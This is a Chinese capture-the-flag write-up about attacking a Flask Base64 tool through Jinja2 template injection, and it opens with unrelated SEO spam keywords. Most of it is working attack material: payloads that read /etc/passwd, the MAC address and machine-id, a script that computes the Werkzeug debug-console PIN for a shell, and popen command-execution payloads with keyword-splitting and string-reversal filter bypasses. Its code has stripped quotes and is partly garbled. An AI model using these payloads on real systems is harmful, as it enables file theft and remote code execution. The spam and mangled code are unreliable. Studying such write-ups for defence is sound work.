无锡餐饮网站建设,搜索引擎调词软件,WordPress分享无法显示,东莞微信网站建设Flask的网站#xff0c;这里的功能是Base64编码解码#xff0c;并输出 并且是存在SSTI的 /hint 提示PIN码 既然提示PIN#xff0c;那应该是开启了Debug模式的#xff0c;解密栏那里随便输入点什么报错看看#xff0c;直接报错了#xff0c;并且该Flask开启了Debug模式这里的功能是Base64编码解码并输出 并且是存在SSTI的 /hint 提示PIN码 既然提示PIN那应该是开启了Debug模式的解密栏那里随便输入点什么报错看看直接报错了并且该Flask开启了Debug模式需要PIN码 参考ye1s师傅的Flask debug模式下的 PIN 码安全性
可知要获取PIN码需要知道以下几点
username运行该Flask程序的用户名modname模块名getattr(app, __name__, getattr(app.__class__, __name__))app名值为Flaskgetattr(mod, __file__, None)Flask目录下的一个app.py的绝对路径这个值可以在报错页面看到。但有个需注意Python3是 app.pyPython2中是app.pyc。str(uuid.getnode())MAC地址需要转换成十进制读取这两个地址/sys/class/net/eth0/address或者/sys/class/net/ens33/addressget_machine_id()系统id
从报错中还能看出来使用了render_template_string() 从这个render_template_string(tmp)看应该是使用的jinja2引擎编码{{config}}传入解密然后渲染执行 WAF的黑名单import、os、popen、flag、eval、*、?等 其实这里就可以使用拼接绕过了但是我们还是先来试试获取PIN码GetShell的
首先通过报错就可以得知很多信息Python3的环境以及
modnameflask.appgetattr(app, __name__, getattr(app.__class__, __name__))Flaskgetattr(mod, __file__, None)/usr/local/lib/python3.7/site-packages/flask/app.py 接下来可以通过SSTI去文件读取其他信息使用jinja2的控制结构语法构造
jinja2一共三种语法
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题删除了大部分敏感函数相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的
从而绕过沙箱。__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__ 内建模块的引用在任何地方都是可见的(包括全局)每个 Python 脚本都会自动加载这个模块包括了很多强大的 built-in 函数例如eval, exec, open等等遍历子类寻找能读取文件的子类然后构造
{% for x in {}.__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__].open(/etc/passwd).read() }}{%endif%}
{%endfor%}编码一下输入 得到运行Flask的用户名flaskweb
读Mac地址
{% for x in {}.__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__].open(/sys/class/net/eth0/address).read() }}{%endif%}
{%endfor%}转换成十进制 int(d2936368b7c7, 16)
231530469832647读系统id1408f836b0ca514d796cbf8960e45fa1
{% for x in {}.__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__].open(/etc/machine-id).read() }}{%endif%}
{%endfor%}然后根据前面的分析文章里面的生成脚本得到PIN码
import hashlib
from itertools import chain
probably_public_bits [flaskweb# usernameflask.app,# modnameFlask,# getattr(app, __name__, getattr(app.__class__, __name__))/usr/local/lib/python3.7/site-packages/flask/app.py # getattr(mod, __file__, None),
]private_bits [231530469832647,# str(uuid.getnode()), /sys/class/net/eth0/address1408f836b0ca514d796cbf8960e45fa1# get_machine_id(), /etc/machine-id
]h hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit)
h.update(bcookiesalt)cookie_name __wzd h.hexdigest()[:20]num None
if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]rv None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)输入PIN码后可成功获取交互Shell 然而这里有SSTI即已经可以命令执行了 ().__class__.__base__.__subclasses__()[149]
class warnings.catch_warnings().__class__.__base__.__subclasses__()[149].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](whoami).read()
mochu7\\administrator\n只需要绕过关键字过滤即可例如拼接
{% for x in ().__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__][__imp ort__](os).__dict__[po pen] (cat /this_is_the_flag.txt).read() }}{%endif%}
{%endfor%}例如逆序
{% for x in ().__class__.__base__.__subclasses__() %}{% if warning in x.__name__ %}{{x.__init__.__globals__[__builtins__][__tropmi__[::-1]](so[::-1]).__dict__[nepop[::-1]](txt.galf_eht_si_siht/ tac[::-1]).read()}}{%endif%}
{%endfor%}像这种关键字绕过SSTI还有很多办法感兴趣的可以自己研究